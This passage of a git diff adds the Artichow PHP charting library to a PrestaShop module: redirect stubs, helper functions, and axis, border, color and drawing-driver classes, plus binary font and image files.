0000000..a40f424 Binary files /dev/null and b/modules/graphartichow/artichow/cache/Albert differ diff --git a/modules/graphartichow/artichow/cache/Albert-time b/modules/graphartichow/artichow/cache/Albert-time new file mode 100755 index 0000000..7e2eb85 --- /dev/null +++ b/modules/graphartichow/artichow/cache/Albert-time @@ -0,0 +1,2 @@ +1166203480 +png \ No newline at end of file diff --git a/modules/graphartichow/artichow/cache/Example-006 b/modules/graphartichow/artichow/cache/Example-006 new file mode 100755 index 0000000..a16839b Binary files /dev/null and b/modules/graphartichow/artichow/cache/Example-006 differ diff --git a/modules/graphartichow/artichow/cache/Example-006-time b/modules/graphartichow/artichow/cache/Example-006-time new file mode 100755 index 0000000..615edc0 --- /dev/null +++ b/modules/graphartichow/artichow/cache/Example-006-time @@ -0,0 +1,2 @@ +1204776421 +png \ No newline at end of file diff --git a/modules/graphartichow/artichow/cache/index.php b/modules/graphartichow/artichow/cache/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/graphartichow/artichow/cache/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/graphartichow/artichow/common.php b/modules/graphartichow/artichow/common.php new file mode 100755 index 0000000..f4e6e04 --- /dev/null +++ b/modules/graphartichow/artichow/common.php @@ -0,0 +1,96 @@ + 0) { + + do { + $min = array_pop($array); + if(is_numeric($min) === FALSE) { + $min = NULL; + } + } while(count($array) > 0 and $min === NULL); + + if($min !== NULL) { + $min = (float)$min; + } + + foreach($array as $value) { + if(is_numeric($value) and (float)$value < $min) { + $min = (float)$value; + } + } + + return $min; + + } + + return NULL; + +} + +/* + * Get the maximum of an array and ignore non numeric values + */ +function array_max($array) { + + if(is_array($array) and count($array) > 0) { + + do { + $max = array_pop($array); + if(is_numeric($max) === FALSE) { + $max = NULL; + } + } while(count($array) > 0 and $max === NULL); + + if($max !== NULL) { + $max = (float)$max; + } + + foreach($array as $value) { + if(is_numeric($value) and (float)$value > $max) { + $max = (float)$value; + } + } + + return $max; + + } + + return NULL; + +} +/* + * Define file_put_contents() if needed + */ +if(function_exists('file_put_contents') === FALSE) { + + function file_put_contents($file, $content) { + $fp = fopen($file, 'w'); + if($fp) { + fwrite($fp, $content); + fclose($fp); + } + } + +} + +/* + * Change error handler + */ +set_error_handler('errorHandlerArtichow'); + +function errorHandlerArtichow($level, $message, $file, $line) { + awImage::drawError($message.' in '.$file.' on line '.$line.'.'); +} + diff --git a/modules/graphartichow/artichow/font/Tuffy.ttf b/modules/graphartichow/artichow/font/Tuffy.ttf new file mode 100755 index 0000000..8151817 Binary files /dev/null and b/modules/graphartichow/artichow/font/Tuffy.ttf differ diff --git a/modules/graphartichow/artichow/font/TuffyBold.ttf b/modules/graphartichow/artichow/font/TuffyBold.ttf new file mode 100755 index 0000000..2f45b4f Binary files /dev/null and b/modules/graphartichow/artichow/font/TuffyBold.ttf differ diff --git a/modules/graphartichow/artichow/font/TuffyBoldItalic.ttf b/modules/graphartichow/artichow/font/TuffyBoldItalic.ttf new file mode 100755 index 0000000..554faf2 Binary files /dev/null and b/modules/graphartichow/artichow/font/TuffyBoldItalic.ttf differ diff --git a/modules/graphartichow/artichow/font/TuffyItalic.ttf b/modules/graphartichow/artichow/font/TuffyItalic.ttf new file mode 100755 index 0000000..5f972ec Binary files /dev/null and b/modules/graphartichow/artichow/font/TuffyItalic.ttf differ diff --git a/modules/graphartichow/artichow/font/index.php b/modules/graphartichow/artichow/font/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/graphartichow/artichow/font/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/graphartichow/artichow/images/book.png b/modules/graphartichow/artichow/images/book.png new file mode 100755 index 0000000..da18851 Binary files /dev/null and b/modules/graphartichow/artichow/images/book.png differ diff --git a/modules/graphartichow/artichow/images/error.png b/modules/graphartichow/artichow/images/error.png new file mode 100755 index 0000000..e5addb1 Binary files /dev/null and b/modules/graphartichow/artichow/images/error.png differ diff --git a/modules/graphartichow/artichow/images/errors/index.php b/modules/graphartichow/artichow/images/errors/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/graphartichow/artichow/images/errors/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/graphartichow/artichow/images/errors/missing-anti-aliasing.png b/modules/graphartichow/artichow/images/errors/missing-anti-aliasing.png new file mode 100755 index 0000000..f020d26 Binary files /dev/null and b/modules/graphartichow/artichow/images/errors/missing-anti-aliasing.png differ diff --git a/modules/graphartichow/artichow/images/errors/missing-gd2.png b/modules/graphartichow/artichow/images/errors/missing-gd2.png new file mode 100755 index 0000000..cac144c Binary files /dev/null and b/modules/graphartichow/artichow/images/errors/missing-gd2.png differ diff --git a/modules/graphartichow/artichow/images/index.php b/modules/graphartichow/artichow/images/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/graphartichow/artichow/images/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/graphartichow/artichow/images/paperclip.png b/modules/graphartichow/artichow/images/paperclip.png new file mode 100755 index 0000000..12188f9 Binary files /dev/null and b/modules/graphartichow/artichow/images/paperclip.png differ diff --git a/modules/graphartichow/artichow/images/star.png b/modules/graphartichow/artichow/images/star.png new file mode 100755 index 0000000..4acf003 Binary files /dev/null and b/modules/graphartichow/artichow/images/star.png differ diff --git a/modules/graphartichow/artichow/inc/Axis.class.php b/modules/graphartichow/artichow/inc/Axis.class.php new file mode 100755 index 0000000..4eb4ce7 --- /dev/null +++ b/modules/graphartichow/artichow/inc/Axis.class.php @@ -0,0 +1,768 @@ + 'toProportionalValue', + 'toPosition' => 'toProportionalPosition' + ); + + /** + * Build the axis + * + * @param float $min Begin of the range of the axis + * @param float $max End of the range of the axis + */ + public function __construct($min = NULL, $max = NULL) { + + $this->line = new awVector( + new awPoint(0, 0), + new awPoint(0, 0) + ); + + $this->label = new awLabel; + $this->padding = new awSide; + + $this->title = new awLabel( + NULL, + NULL, + NULL, + 0 + ); + + $this->setColor(new awBlack); + + if($min !== NULL and $max !== NULL) { + $this->setRange($min, $max); + } + + } + + /** + * Enable/disable auto-scaling mode + * + * @param bool $auto + */ + public function auto($auto) { + $this->auto = (bool)$auto; + } + + /** + * Get auto-scaling mode status + * + * @return bool + */ + public function isAuto() { + return $this->auto; + } + + /** + * Hide axis + * + * @param bool $hide + */ + public function hide($hide = TRUE) { + $this->hide = (bool)$hide; + } + + /** + * Show axis + * + * @param bool $show + */ + public function show($show = TRUE) { + $this->hide = !(bool)$show; + } + + /** + * Return a tick object from its name + * + * @param string $name Tick object name + * @return Tick + */ + public function tick($name) { + + return array_key_exists($name, $this->ticks) ? $this->ticks[$name] : NULL; + + } + + /** + * Add a tick object + * + * @param string $name Tick object name + * @param awTick $tick Tick object + */ + public function addTick($name, awTick $tick) { + + $this->ticks[$name] = $tick; + + } + + /** + * Delete a tick object + * + * @param string $name Tick object name + */ + public function deleteTick($name) { + if(array_key_exists($name, $this->ticks)) { + unset($this->ticks[$name]); + } + } + + /** + * Hide all ticks + * + * @param bool $hide Hide or not ? + */ + public function hideTicks($hide = TRUE) { + + foreach($this->ticks as $tick) { + $tick->hide($hide); + } + + } + + /** + * Change ticks style + * + * @param int $style Ticks style + */ + public function setTickStyle($style) { + + foreach($this->ticks as $tick) { + $tick->setStyle($style); + } + + } + + /** + * Change ticks interval + * + * @param int $interval Ticks interval + */ + public function setTickInterval($interval) { + + foreach($this->ticks as $tick) { + $tick->setInterval($interval); + } + + } + + /** + * Change number of ticks relative to others ticks + * + * @param awTick $to Change number of theses ticks + * @param awTick $from Ticks reference + * @param float $number Number of ticks by the reference + */ + public function setNumberByTick($to, $from, $number) { + $this->ticks[$to]->setNumberByTick($this->ticks[$from], $number); + } + + /** + * Reverse ticks style + */ + public function reverseTickStyle() { + + foreach($this->ticks as $tick) { + if($tick->getStyle() === awTick::IN) { + $tick->setStyle(awTick::OUT); + } else if($tick->getStyle() === awTick::OUT) { + $tick->setStyle(awTick::IN); + } + } + + } + + /** + * Change interval of labels + * + * @param int $interval Interval + */ + public function setLabelInterval($interval) { + $this->auto(FALSE); + $this->setTickInterval($interval); + $this->label->setInterval($interval); + } + + /** + * Change number of labels + * + * @param int $number Number of labels to display (can be NULL) + */ + public function setLabelNumber($number) { + $this->auto(FALSE); + $this->labelNumber = is_null($number) ? NULL : (int)$number; + } + + /** + * Get number of labels + * + * @return int + */ + public function getLabelNumber() { + return $this->labelNumber; + } + + /** + * Change precision of labels + * + * @param int $precision Precision + */ + public function setLabelPrecision($precision) { + $this->auto(FALSE); + $function = 'axis'.time().'_'.(microtime() * 1000000); + eval('function '.$function.'($value) { + return sprintf("%.'.(int)$precision.'f", $value); + }'); + $this->label->setCallbackFunction($function); + } + + /** + * Change text of labels + * + * @param array $texts Some texts + */ + public function setLabelText($texts) { + if(is_array($texts)) { + $this->auto(FALSE); + $function = 'axis'.time().'_'.(microtime() * 1000000); + eval('function '.$function.'($value) { + $texts = '.var_export($texts, TRUE).'; + return isset($texts[$value]) ? $texts[$value] : \'?\'; + }'); + $this->label->setCallbackFunction($function); + } + } + + /** + * Get the position of a point + * + * @param awAxis $xAxis X axis + * @param awAxis $yAxis Y axis + * @param awPoint $p Position of the point + * @return Point Position on the axis + */ + public static function toPosition(awAxis $xAxis, awAxis $yAxis, awPoint $p) { + + $p1 = $xAxis->getPointFromValue($p->x); + $p2 = $yAxis->getPointFromValue($p->y); + + return new awPoint( + round($p1->x), + round($p2->y) + ); + + } + + /** + * Change title alignment + * + * @param int $alignment New Alignment + */ + public function setTitleAlignment($alignment) { + + switch($alignment) { + + case awLabel::TOP : + $this->setTitlePosition(1); + $this->title->setAlign(NULL, awLabel::BOTTOM); + break; + + case awLabel::BOTTOM : + $this->setTitlePosition(0); + $this->title->setAlign(NULL, awLabel::TOP); + break; + + case awLabel::LEFT : + $this->setTitlePosition(0); + $this->title->setAlign(awLabel::LEFT); + break; + + case awLabel::RIGHT : + $this->setTitlePosition(1); + $this->title->setAlign(awLabel::RIGHT); + break; + + } + + } + + /** + * Change title position on the axis + * + * @param float $position A new awposition between 0 and 1 + */ + public function setTitlePosition($position) { + $this->titlePosition = (float)$position; + } + + /** + * Change axis and axis title color + * + * @param awColor $color + */ + public function setColor(awColor $color) { + $this->color = $color; + $this->title->setColor($color); + } + + /** + * Change axis padding + * + * @param int $left Left padding in pixels + * @param int $right Right padding in pixels + */ + public function setPadding($left, $right) { + $this->padding->set($left, $right); + } + + /** + * Get axis padding + * + * @return Side + */ + public function getPadding() { + return $this->padding; + } + + /** + * Change axis range + * + * @param float $min + * @param float $max + */ + public function setRange($min, $max) { + if($min !== NULL) { + $this->range[0] = (float)$min; + } + if($max !== NULL) { + $this->range[1] = (float)$max; + } + } + + /** + * Get axis range + * + * @return array + */ + public function getRange() { + return $this->range; + } + + /** + * Change axis range callback function + * + * @param string $toValue Transform a position between 0 and 1 to a value + * @param string $toPosition Transform a value to a position between 0 and 1 on the axis + */ + public function setRangeCallback($toValue, $toPosition) { + $this->rangeCallback = array( + 'toValue' => (string)$toValue, + 'toPosition' => (string)$toPosition + ); + } + + /** + * Center X values of the axis + * + * @param awAxis $axis An axis + * @param float $value The reference value on the axis + */ + public function setXCenter(awAxis $axis, $value) { + + // Check vector angle + if($this->line->isVertical() === FALSE) { + awImage::drawError("Class Axis: setXCenter() can only be used on vertical axes."); + } + + $p = $axis->getPointFromValue($value); + + $this->line->setX( + $p->x, + $p->x + ); + + } + + /** + * Center Y values of the axis + * + * @param awAxis $axis An axis + * @param float $value The reference value on the axis + */ + public function setYCenter(awAxis $axis, $value) { + + // Check vector angle + if($this->line->isHorizontal() === FALSE) { + awImage::drawError("Class Axis: setYCenter() can only be used on horizontal axes."); + } + + $p = $axis->getPointFromValue($value); + + $this->line->setY( + $p->y, + $p->y + ); + + } + + /** + * Get the distance between to values on the axis + * + * @param float $from The first value + * @param float $to The last value + * @return Point + */ + public function getDistance($from, $to) { + + $p1 = $this->getPointFromValue($from); + $p2 = $this->getPointFromValue($to); + + return $p1->getDistance($p2); + + } + + /** + * Get a point on the axis from a value + * + * @param float $value + * @return Point + */ + protected function getPointFromValue($value) { + + $callback = $this->rangeCallback['toPosition']; + + list($min, $max) = $this->range; + $position = $callback($value, $min, $max); + + return $this->getPointFromPosition($position); + + } + + /** + * Get a point on the axis from a position + * + * @param float $position A position between 0 and 1 + * @return Point + */ + protected function getPointFromPosition($position) { + + $vector = $this->getVector(); + + $angle = $vector->getAngle(); + $size = $vector->getSize(); + + return $vector->p1->move( + cos($angle) * $size * $position, + -1 * sin($angle) * $size * $position + ); + + } + + /** + * Draw axis + * + * @param awDriver $driver A driver + */ + public function draw(awDriver $driver) { + + if($this->hide) { + return; + } + + $vector = $this->getVector(); + + // Draw axis ticks + $this->drawTicks($driver, $vector); + + // Draw axis line + $this->line($driver); + + // Draw labels + $this->drawLabels($driver); + + // Draw axis title + $p = $this->getPointFromPosition($this->titlePosition); + $this->title->draw($driver, $p); + + } + + public function autoScale() { + + if($this->isAuto() === FALSE) { + return; + } + + list($min, $max) = $this->getRange(); + $interval = $max - $min; + + if($interval > 0) { + $partMax = $max / $interval; + $partMin = $min / $interval; + } else { + $partMax = 0; + $partMin = 0; + } + + $difference = log($interval) / log(10); + $difference = floor($difference); + + $pow = pow(10, $difference); + + if($pow > 0) { + $intervalNormalize = $interval / $pow; + } else { + $intervalNormalize = 0; + } + + if($difference <= 0) { + + $precision = $difference * -1 + 1; + + if($intervalNormalize > 2) { + $precision--; + } + + } else { + $precision = 0; + } + + if($min != 0 and $max != 0) { + $precision++; + } + + if($this->label->getCallbackFunction() === NULL) { + $this->setLabelPrecision($precision); + } + + if($intervalNormalize <= 1.5) { + $intervalReal = 1.5; + $labelNumber = 4; + } else if($intervalNormalize <= 2) { + $intervalReal = 2; + $labelNumber = 5; + } else if($intervalNormalize <= 3) { + $intervalReal = 3; + $labelNumber = 4; + } else if($intervalNormalize <= 4) { + $intervalReal = 4; + $labelNumber = 5; + } else if($intervalNormalize <= 5) { + $intervalReal = 5; + $labelNumber = 6; + } else if($intervalNormalize <= 8) { + $intervalReal = 8; + $labelNumber = 5; + } else if($intervalNormalize <= 10) { + $intervalReal = 10; + $labelNumber = 6; + } + + if($min == 0) { + + $this->setRange( + $min, + $intervalReal * $pow + ); + + } else if($max == 0) { + + $this->setRange( + $intervalReal * $pow * -1, + 0 + ); + + } + + $this->setLabelNumber($labelNumber); + + } + + protected function line(awDriver $driver) { + + $driver->line( + $this->color, + $this->line + ); + + } + + protected function drawTicks(awDriver $driver, awVector $vector) { + + foreach($this->ticks as $tick) { + $tick->setColor($this->color); + $tick->draw($driver, $vector); + } + + } + + protected function drawLabels($driver) { + + if($this->labelNumber !== NULL) { + list($min, $max) = $this->range; + $number = $this->labelNumber - 1; + if($number < 1) { + return; + } + $function = $this->rangeCallback['toValue']; + $labels = array(); + for($i = 0; $i <= $number; $i++) { + $labels[] = $function($i / $number, $min, $max); + } + $this->label->set($labels); + } + + $labels = $this->label->count(); + + for($i = 0; $i < $labels; $i++) { + + $p = $this->getPointFromValue($this->label->get($i)); + $this->label->draw($driver, $p, $i); + + } + + } + + protected function getVector() { + + $angle = $this->line->getAngle(); + + // Compute paddings + $vector = new awVector( + $this->line->p1->move( + cos($angle) * $this->padding->left, + -1 * sin($angle) * $this->padding->left + ), + $this->line->p2->move( + -1 * cos($angle) * $this->padding->right, + -1 * -1 * sin($angle) * $this->padding->right + ) + ); + + return $vector; + + } + + public function __clone() { + + $this->label = clone $this->label; + $this->line = clone $this->line; + $this->title = clone $this->title; + + foreach($this->ticks as $name => $tick) { + $this->ticks[$name] = clone $tick; + } + + } + +} + +registerClass('Axis'); + +function toProportionalValue($position, $min, $max) { + return $min + ($max - $min) * $position; +} + +function toProportionalPosition($value, $min, $max) { + if($max - $min == 0) { + return 0; + } + return ($value - $min) / ($max - $min); +} diff --git a/modules/graphartichow/artichow/inc/Border.class.php b/modules/graphartichow/artichow/inc/Border.class.php new file mode 100755 index 0000000..6e8fc41 --- /dev/null +++ b/modules/graphartichow/artichow/inc/Border.class.php @@ -0,0 +1,197 @@ +setStyle($style); + + if($color instanceof awColor) { + $this->setColor($color); + } else { + $this->setColor(new awBlack); + } + + } + + /** + * Change border color + * This method automatically shows the border if it is hidden + * + * @param awColor $color + */ + public function setColor(awColor $color) { + $this->color = $color; + $this->show(); + } + + /** + * Change border style + * + * @param int $style + */ + public function setStyle($style) { + $this->style = (int)$style; + } + + /** + * Hide border ? + * + * @param bool $hide + */ + public function hide($hide = TRUE) { + $this->hide = (bool)$hide; + } + + /** + * Show border ? + * + * @param bool $show + */ + public function show($show = TRUE) { + $this->hide = (bool)!$show; + } + + /** + * Is the border visible ? + * + * @return bool + */ + public function visible() { + return !$this->hide; + } + + /** + * Draw border as a rectangle + * + * @param awDriver $driver + * @param awPoint $p1 Top-left corner + * @param awPoint $p2 Bottom-right corner + */ + public function rectangle(awDriver $driver, awPoint $p1, awPoint $p2) { + + // Border is hidden + if($this->hide) { + return; + } + + $line = new awLine; + $line->setStyle($this->style); + $line->setLocation($p1, $p2); + + $driver->rectangle($this->color, $line); + + } + + /** + * Draw border as an ellipse + * + * @param awDriver $driver + * @param awPoint $center Ellipse center + * @param int $width Ellipse width + * @param int $height Ellipse height + */ + public function ellipse(awDriver $driver, awPoint $center, $width, $height) { + + // Border is hidden + if($this->hide) { + return; + } + + switch($this->style) { + + case awLine::SOLID : + $driver->ellipse($this->color, $center, $width, $height); + break; + + default : + awImage::drawError("Class Border: Dashed and dotted borders and not yet implemented on ellipses."); + break; + + } + + + } + + /** + * Draw border as a polygon + * + * @param awDriver $driver A Driver object + * @param awPolygon $polygon A Polygon object + */ + public function polygon(awDriver $driver, awPolygon $polygon) { + + // Border is hidden + if($this->hide) { + return; + } + + $polygon->setStyle($this->style); + $driver->polygon($this->color, $polygon); + + // In case of Line::SOLID, Driver::polygon() uses imagepolygon() + // which automatically closes the shape. In any other case, + // we have to do it manually here. + if($this->style !== Line::SOLID) { + $this->closePolygon($driver, $polygon); + } + } + + /** + * Draws the last line of a Polygon, between the first and last point + * + * @param awDriver $driver A Driver object + * @param awPolygon $polygon The polygon object to close + */ + private function closePolygon(awDriver $driver, awPolygon $polygon) { + $first = $polygon->get(0); + $last = $polygon->get($polygon->count() - 1); + + $line = new awLine($first, $last, $this->style, $polygon->getThickness()); + $driver->line($this->color, $line); + } + +} + +registerClass('Border'); diff --git a/modules/graphartichow/artichow/inc/Color.class.php b/modules/graphartichow/artichow/inc/Color.class.php new file mode 100755 index 0000000..40a7a93 --- /dev/null +++ b/modules/graphartichow/artichow/inc/Color.class.php @@ -0,0 +1,165 @@ +red = (int)$red; + $this->green = (int)$green; + $this->blue = (int)$blue; + $this->alpha = (int)round($alpha * 127 / 100); + + } + + /** + * Get RGB and alpha values of your color + * + * @return array + */ + public function getColor() { + return $this->rgba(); + } + + /** + * Change color brightness + * + * @param int $brightness Add this intensity to the color (betweeen -255 and +255) + */ + public function brightness($brightness) { + + $brightness = (int)$brightness; + + $this->red = min(255, max(0, $this->red + $brightness)); + $this->green = min(255, max(0, $this->green + $brightness)); + $this->blue = min(255, max(0, $this->blue + $brightness)); + + } + + /** + * Get RGB and alpha values of your color + * + * @return array + */ + public function rgba() { + + return array($this->red, $this->green, $this->blue, $this->alpha); + + } + +} + +registerClass('Color'); + +$colors = array( + 'Black' => array(0, 0, 0), + 'AlmostBlack' => array(48, 48, 48), + 'VeryDarkGray' => array(88, 88, 88), + 'DarkGray' => array(128, 128, 128), + 'MidGray' => array(160, 160, 160), + 'LightGray' => array(195, 195, 195), + 'VeryLightGray' => array(220, 220, 220), + 'White' => array(255, 255, 255), + 'VeryDarkRed' => array(64, 0, 0), + 'DarkRed' => array(128, 0, 0), + 'MidRed' => array(192, 0, 0), + 'Red' => array(255, 0, 0), + 'LightRed' => array(255, 192, 192), + 'VeryDarkGreen' => array(0, 64, 0), + 'DarkGreen' => array(0, 128, 0), + 'MidGreen' => array(0, 192, 0), + 'Green' => array(0, 255, 0), + 'LightGreen' => array(192, 255, 192), + 'VeryDarkBlue' => array(0, 0, 64), + 'DarkBlue' => array(0, 0, 128), + 'MidBlue' => array(0, 0, 192), + 'Blue' => array(0, 0, 255), + 'LightBlue' => array(192, 192, 255), + 'VeryDarkYellow' => array(64, 64, 0), + 'DarkYellow' => array(128, 128, 0), + 'MidYellow' => array(192, 192, 0), + 'Yellow' => array(255, 255, 2), + 'LightYellow' => array(255, 255, 192), + 'VeryDarkCyan' => array(0, 64, 64), + 'DarkCyan' => array(0, 128, 128), + 'MidCyan' => array(0, 192, 192), + 'Cyan' => array(0, 255, 255), + 'LightCyan' => array(192, 255, 255), + 'VeryDarkMagenta' => array(64, 0, 64), + 'DarkMagenta' => array(128, 0, 128), + 'MidMagenta' => array(192, 0, 192), + 'Magenta' => array(255, 0, 255), + 'LightMagenta' => array(255, 192, 255), + 'DarkOrange' => array(192, 88, 0), + 'Orange' => array(255, 128, 0), + 'LightOrange' => array(255, 168, 88), + 'VeryLightOrange' => array(255, 220, 168), + 'DarkPink' => array(192, 0, 88), + 'Pink' => array(255, 0, 128), + 'LightPink' => array(255, 88, 168), + 'VeryLightPink' => array(255, 168, 220), + 'DarkPurple' => array(88, 0, 192), + 'Purple' => array(128, 0, 255), + 'LightPurple' => array(168, 88, 255), + 'VeryLightPurple' => array(220, 168, 255), +); + + + +$php = ''; + +foreach($colors as $name => $color) { + + list($red, $green, $blue) = $color; + + $php .= ' + class aw'.$name.' extends awColor { + + public function __construct($alpha = 0) { + parent::__construct('.$red.', '.$green.', '.$blue.', $alpha); + } + + } + '; + + if(ARTICHOW_PREFIX !== 'aw') { + $php .= ' + class '.ARTICHOW_PREFIX.$name.' extends aw'.$name.' { + + } + '; + } + +} + +eval($php); + + + + diff --git a/modules/graphartichow/artichow/inc/Driver.class.php b/modules/graphartichow/artichow/inc/Driver.class.php new file mode 100755 index 0000000..345b016 --- /dev/null +++ b/modules/graphartichow/artichow/inc/Driver.class.php @@ -0,0 +1,724 @@ +phpFontDriver = new awPHPFontDriver(); + $this->fileFontDriver = new awFileFontDriver(); + } + + /** + * Initialize the driver for a particular awImage object + * + * @param awImage $image + */ + abstract public function init(awImage $image); + + /** + * Initialize the Driver for a particular FileImage object + * + * @param awFileImage $fileImage The FileImage object to work on + * @param string $file Image filename + */ + abstract public function initFromFile(awFileImage $fileImage, $file); + + /** + * Change the image size + * + * @param int $width Image width + * @param int $height Image height + */ + abstract public function setImageSize($width, $height); + + /** + * Inform the driver of the position of your image + * + * @param float $x Position on X axis of the center of the component + * @param float $y Position on Y axis of the center of the component + */ + abstract public function setPosition($x, $y); + + /** + * Inform the driver of the position of your image + * This method need absolutes values + * + * @param int $x Left-top corner X position + * @param int $y Left-top corner Y position + */ + abstract public function setAbsPosition($x, $y); + + /** + * Move the position of the image + * + * @param int $x Add this value to X axis + * @param int $y Add this value to Y axis + */ + abstract public function movePosition($x, $y); + + /** + * Inform the driver of the size of your image + * Height and width must be between 0 and 1. + * + * @param int $w Image width + * @param int $h Image height + * @return array Absolute width and height of the image + */ + abstract public function setSize($w, $h); + + /** + * Inform the driver of the size of your image + * You can set absolute size with this method. + * + * @param int $w Image width + * @param int $h Image height + */ + abstract public function setAbsSize($w, $h); + + /** + * Get the size of the component handled by the driver + * + * @return array Absolute width and height of the component + */ + abstract public function getSize(); + + /** + * Turn antialiasing on or off + * + * @var bool $bool + */ + abstract public function setAntiAliasing($bool); + + /** + * When passed a Color object, returns the corresponding + * color identifier (driver dependant). + * + * @param awColor $color A Color object + * @return int $rgb A color identifier representing the color composed of the given RGB components + */ + abstract public function getColor(awColor $color); + + /** + * Draw an image here + * + * @param awImage $image Image + * @param int $p1 Image top-left point + * @param int $p2 Image bottom-right point + */ + abstract public function copyImage(awImage $image, awPoint $p1, awPoint $p2); + + /** + * Draw an image here + * + * @param awImage $image Image + * @param int $d1 Destination top-left position + * @param int $d2 Destination bottom-right position + * @param int $s1 Source top-left position + * @param int $s2 Source bottom-right position + * @param bool $resample Resample image ? (default to TRUE) + */ + abstract public function copyResizeImage(awImage $image, awPoint $d1, awPoint $d2, awPoint $s1, awPoint $s2, $resample = TRUE); + + /** + * Draw a string + * + * @var awText $text Text to print + * @param awPoint $point Draw the text at this point + * @param int $width Text max width + */ + abstract public function string(awText $text, awPoint $point, $width = NULL); + + /** + * Draw a pixel + * + * @param awColor $color Pixel color + * @param awPoint $p + */ + abstract public function point(awColor $color, awPoint $p); + + /** + * Draw a colored line + * + * @param awColor $color Line color + * @param awLine $line + * @param int $thickness Line tickness + */ + abstract public function line(awColor $color, awLine $line); + + /** + * Draw a color arc + + * @param awColor $color Arc color + * @param awPoint $center Point center + * @param int $width Ellipse width + * @param int $height Ellipse height + * @param int $from Start angle + * @param int $to End angle + */ + abstract public function arc(awColor $color, awPoint $center, $width, $height, $from, $to); + + /** + * Draw an arc with a background color + * + * @param awColor $color Arc background color + * @param awPoint $center Point center + * @param int $width Ellipse width + * @param int $height Ellipse height + * @param int $from Start angle + * @param int $to End angle + */ + abstract public function filledArc(awColor $color, awPoint $center, $width, $height, $from, $to); + + /** + * Draw a colored ellipse + * + * @param awColor $color Ellipse color + * @param awPoint $center Ellipse center + * @param int $width Ellipse width + * @param int $height Ellipse height + */ + abstract public function ellipse(awColor $color, awPoint $center, $width, $height); + + /** + * Draw an ellipse with a background + * + * @param mixed $background Background (can be a color or a gradient) + * @param awPoint $center Ellipse center + * @param int $width Ellipse width + * @param int $height Ellipse height + */ + abstract public function filledEllipse($background, awPoint $center, $width, $height); + + /** + * Draw a colored rectangle + * + * @param awColor $color Rectangle color + * @param awLine $line Rectangle diagonale + * @param awPoint $p2 + */ + abstract public function rectangle(awColor $color, awLine $line); + + /** + * Draw a rectangle with a background + * + * @param mixed $background Background (can be a color or a gradient) + * @param awLine $line Rectangle diagonale + */ + abstract public function filledRectangle($background, awLine $line); + + /** + * Draw a polygon + * + * @param awColor $color Polygon color + * @param Polygon A polygon + */ + abstract public function polygon(awColor $color, awPolygon $polygon); + + /** + * Draw a polygon with a background + * + * @param mixed $background Background (can be a color or a gradient) + * @param Polygon A polygon + */ + abstract public function filledPolygon($background, awPolygon $polygon); + + /** + * Sends the image, as well as the correct HTTP headers, to the browser + * + * @param awImage $image The Image object to send + */ + abstract public function send(awImage $image); + + /** + * Get the image as binary data + * + * @param awImage $image + */ + abstract public function get(awImage $image); + + /** + * Return the width of some text + * + * @param awText $text + */ + abstract public function getTextWidth(awText $text); + + /** + * Return the height of some text + * + * @param awText $text + */ + abstract public function getTextHeight(awText $text); + + /** + * Return the string representing the type of driver + * + * @return string + */ + public function getDriverString() { + return $this->driverString; + } + + /** + * Returns whether or not the driver is compatible with the given font type + * + * @param awFont $font + * @return bool + */ + abstract protected function isCompatibleWithFont(awFont $font); + +// abstract private function drawImage(awImage $image, $return = FALSE, $header = TRUE); + +} + +registerClass('Driver', TRUE); + +/** + * Abstract class for font drivers. + * Those are used to do all the grunt work on fonts. + * + * @package Artichow + */ + +abstract class awFontDriver { + + public function __construct() { + + } + + /** + * Draw the actual text. + * + * @param awDriver $driver The Driver object to draw upon + * @param awText $text The Text object + * @param awPoint $point Where to draw the text + * @param float $width The width of the area containing the text + */ + abstract public function string(awDriver $driver, awText $text, awPoint $point, $width = NULL); + + /** + * Calculate the width of a given Text. + * + * @param awText $text The Text object + * @param awDriver $driver The awDriver object used to draw the graph + */ + abstract public function getTextWidth(awText $text, awDriver $driver); + + /** + * Calculate the height of a given Text. + * + * @param awText $text The Text object + * @param awDriver $driver The awDriver object used to draw the graph + */ + abstract public function getTextHeight(awText $text, awDriver $driver); + +} + +registerClass('FontDriver', TRUE); + +/** + * Class to handle calculations on PHPFont objects + * + * @package Artichow + */ +class 